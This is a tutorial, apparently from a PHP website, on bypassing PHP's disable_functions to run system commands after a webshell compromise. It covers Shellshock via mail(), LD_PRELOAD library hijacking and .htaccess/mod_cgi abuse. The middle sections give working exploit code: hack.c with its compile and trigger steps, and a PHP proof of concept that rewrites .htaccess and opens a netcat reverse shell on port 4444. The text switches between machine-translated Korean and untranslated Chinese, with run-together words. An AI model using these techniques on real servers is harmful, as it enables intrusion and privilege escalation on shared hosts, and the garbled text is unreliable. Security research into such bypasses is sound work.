이번에는 PHP 시스템 명령을 실행하는 우회 비활성화 기능에 대한 요약을 가져오겠습니다. PHP 시스템 명령을 실행하는 우회 비활성화 기능에 대한 주의 사항은 무엇입니까? 다음은 실제 사례입니다.
1. 비활성화 기능을 우회하는 이유
안전상의 이유로 많은 운영 및 유지 관리 담당자는 eval, exec, system 등과 같은 일부 "위험한" PHP 기능을 비활성화하고 이를 PHP에 작성합니다. .ini 구성 파일은 우리가 비활성화 기능이라고 부르는 것입니다. 특히 가상 호스트 운영자는 동일한 서버에 있는 고객을 완전히 격리하고 대규모 보안 문제를 피하기 위해 일반적으로 비활성화 기능 설정에 엄격합니다.
공격과 방어는 서로 상반되며 기능을 비활성화하는 조치가 있기 때문에 일부 사람들은 이러한 제한을 극복하기 위해 최선을 다할 것입니다. 그런 공격.
시스템 명령 실행은 일반적으로 공격자가 웹사이트 웹셸을 얻은 후 추가 조치를 취하는 데 필요한 작업입니다. 시스템 명령을 실행할 수 없으면 추가 심층 공격을 계속하기 어렵기 때문에 웹사이트 관리자는 유사한 실행을 비활성화했습니다. 운영, 시스템 및 기타 기능. 그러나 기술이 지속적으로 발전함에 따라 이러한 기능을 비활성화하는 것만으로는 공격자가 시스템 명령을 실행하는 것을 막을 수 없는 경우도 있습니다. 그러면 공격자는 비활성화 기능을 돌파하기 위해 어떤 방법을 사용합니까? 그러한 공격으로부터 어떻게 보호합니까?
2. Bash 취약점으로 인한 임의 명령 실행
GNU Bash 환경 변수 원격 명령 실행 취약점(CVE-2014-6271)은 GNU Bash의 원격 코드 실행 취약점입니다. 다음 설명을 보았습니다: "GNU Bash 4.3 및 이전 버전에는 보안 취약점이 있습니다. 이 취약점은 프로그램이 환경 변수 값의 함수 정의를 올바르게 처리하지 않기 때문에 발생합니다. 원격 공격자는 이 취약점을 악용하여 다음의 도움으로 임의 코드를 실행할 수 있습니다. 특별히 제작된 환경 변수." 다음 제품 및 모듈이 활용될 수 있습니다: OpenSSH sshd의 ForceCommand 기능, Apache HTTP 서버의 mod_cgi 및 mod_cgid 모듈, DHCP 클라이언트 등." 실제로 PHP는 이 취약점을 이용하여 많은 작업을 수행할 수 있으며 심지어 80에서 직접 원격 명령 실행으로 이어질 수도 있습니다. 해당 취약점에 대한 자세한 내용은 여기서 설명하지 않는 CVE-2014-6271 관련 정보를 참조하시기 바랍니다.
Bash의 이 취약점이 PHP에서 어디에 사용될 수 있는지 살펴보겠습니다. 실제로, 이는 여러 곳에서 사용될 수 있습니다. 여기서는 메일 기능을 예로 들어 보겠습니다. 다른 곳에서도 동일하게 적용되며 직접 분석할 수 있습니다.
PHP의 메일 기능은 필수 매개변수 3개와 선택 매개변수 2개를 제공합니다. 여기서는 공식 PHP 매뉴얼의 마지막 매개변수에 대한 설명을 주로 살펴봅니다.
“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option. Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “로그인 후 복사
간단히 이 매개변수에 추가 명령을 추가할 수 있습니다. -f 매개변수를 사용하여 이메일 발신자를 설정하는 등 이메일을 보낼 때 구성합니다. 공식 문서는 예제 #3에도 나와 있습니다. 자세한 내용은 공식 문서(http://php.net/)를 참조하세요. 매뉴얼/zh/function.mail.php .
mail 함수의 소스 코드 mail.c에서 다음 코드 조각을 찾을 수 있습니다:
if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }
다섯 번째 매개변수(extra_cmd)가 전달되면 spprintf를 사용하여 sendmail_path와 extra_cmd를 sendmail_cmd에 연결합니다(여기서 sendmail_path는 php sendmail_path입니다). .ini의 구성 항목) 그런 다음 sendmail_cmd를 던져 실행을 위해 popen을 실행합니다.
#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC); #else /* Since popen() doesn't indicate if theinternal fork() doesn't work *(e.g. the shell can't be executed) we explicitly set it to 0 to be *sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd,"w"); #endif
시스템 기본 sh가 bash인 경우 popen은 bash 프로세스를 파생시키며 방금 언급한 CVE-2014-6271 취약점이 우리에게 직접 연결됩니다. mail() 함수를 사용하여 disable_functions의 제한을 우회하여 임의의 명령을 실행할 수 있습니다. 그러나 여기에는 실제로 문제가 있습니다. 즉, extra_cmd가 spprintf 이전에 보안 검사를 수행한다는 것입니다. 현재 PHP 버전은 최신 7.2.4이고 코드 위치는 mail.c의 371-375행에 있습니다:
if (force_extra_parameters) { extra_cmd =php_escape_shell_cmd(force_extra_parameters); } else if (extra_cmd) { extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd)); }
php_escape_shell_cmd 함수 will do 특수 문자 (`|*?~<>^()[]{}$, x0A 및 xFF. ' 등 포함)가 이스케이프 처리되었으므로 이에 대해 우리가 할 수 있는 일은 없나요? 아니요, putenv 기능을 사용하여 맞춤 기능이 포함된 환경 변수를 설정한 다음 메일 기능을 통해 이를 트리거할 수 있습니다. 이미 인터넷에 POC가 있습니다.
popen 파생 프로세스도 호출하는 PHP 함수는 imap_mail이거나 우리가 발견하지 못한 다른 함수가 있을 수 있으므로 이러한 유형의 공격을 방지하려면 가장 좋은 방법은 근본 원인부터 시작하여 수정하는 것입니다. CVE-2014-6271 이 bash 취약점입니다.
三、LD_PRELOAD:无需bash漏洞
上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:
“ 它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 ”
它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:
使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。
首先我们编写一个自己的动态链接程序,hack.c:
#include<stdlib.h> #include <stdio.h> #include<string.h> void payload() { system("touch/var/www/html/test"); } int geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。
[[email protected]]# gcc -c -fPIC hack.c -o hack [[email protected]]# gcc -shared hack -o hack.so
我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:
<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("[email protected]","","","",""); ?>
我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。
(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)
这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。
其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。
四、.htaccess:不止重定向
大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
关于mode_cgi,可以参考apache的官方说明: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。
“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互,这就意味着,你可以用C或者python编写WEB应用,听起来我们好像可以做任何apache权限用户能做的事情了,那么到底如何实现呢?
首先需要满足几个条件,第一,必须是apache环境,第二,mod_cgi已经启用(在我的环境下是默认启用的),第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none,第四,必须有权限写.htaccess文件。其实这几个条件还是比较容易满足的,满足了以上的条件,就可以“搞事情”了。
在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。
有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。
POC如下,附注释:
<?php $cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口 $shellfile ="#!/bin/bash\n"; //指定shell $shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500 $shellfile .="$cmd"; functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ?$yes : $no) . "<br>\n"; } if(!isset($_GET['checked'])) { @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查 } else { $modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启 $writable = is_writable('.'); //检测当前目录是否可写 $htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件 } else { checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //备份一下原有.htaccess checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名 checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件 checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限 echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用 } } ?>
我们在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口:
当访问POC的时候,成功反弹了一个shell到本地的4444端口,可以看到执行id命令后的回显。
五、其他方式
除上述方式外,在某些特定情况下,还有很多能够绕过php.ini的禁用函数达到执行系统命令目的的方法,但是由于这些方法受到的限制颇多,很少有满足条件的真实环境,所以鉴于篇幅原因,以下只粗略介绍几个其他绕过方式,并提供相关的详细介绍的文章链接,如果有兴趣详细了解,可以参考互联网上的相关资料。
ImageMagick
ImageMagick是一款使用量很广的图片处理程序,很多厂商包括Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,官方在6.9.3-9版本中对漏洞进行了不完全的修复。关于这个漏洞的具体利用和防御方式可以参考:
http://wooyun.jozxing.cc/static/drops/papers-15589.html 。
pcntl_exec
pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。
COM 组件
Windows 환경에서 php.ini의 설정 항목 com.allow_dcom =true인 경우 COM 구성 요소를 통해 시스템 명령을 실행하거나 안전 모드를 켤 수도 있습니다. 관련 정보는 https://www를 참조하세요. .exploit-db.com/exploits/4553/ .
win32std
win32std는 매우 오래된 PHP 확장입니다. win_shell_execute 함수는 Windows 시스템 명령(https://www.exploit-db.com/exploits/4218/)을 실행하는 데 사용할 수 있습니다.
6. 요약
침입자의 경우 웹쉘을 얻은 후 더 높은 권한이나 더 많은 데이터와 정보를 얻으려면 시스템 명령을 실행하는 것이 거의 필요합니다. PHP 애플리케이션에 결함이 있고 침입을 당하면 손실을 최소화하는 방법이 주요 문제가 됩니다. 이 기사에 나열된 방법을 보면 이러한 원칙을 숙지하는 한 예방 작업이 매우 간단하고 효과적이라는 것을 쉽게 알 수 있습니다. 보안 역학에 자주 주의를 기울이는 한 위의 우회를 완벽하게 방어할 수 있습니다. 조치.
이 기사의 사례를 읽은 후 방법을 마스터했다고 생각합니다. 더 흥미로운 정보를 보려면 PHP 중국어 웹사이트의 다른 관련 기사를 주목하세요!
추천 도서:
PHP+ajax를 사용하여 뉴스 데이터를 얻는 사례에 대한 자세한 설명
php 컬 배치 처리를 통해 제어 가능한 동시 비동기 작업 사례 구현 자세한 설명
위 내용은 PHP 시스템 명령을 실행하는 우회 비활성화 기능 요약의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!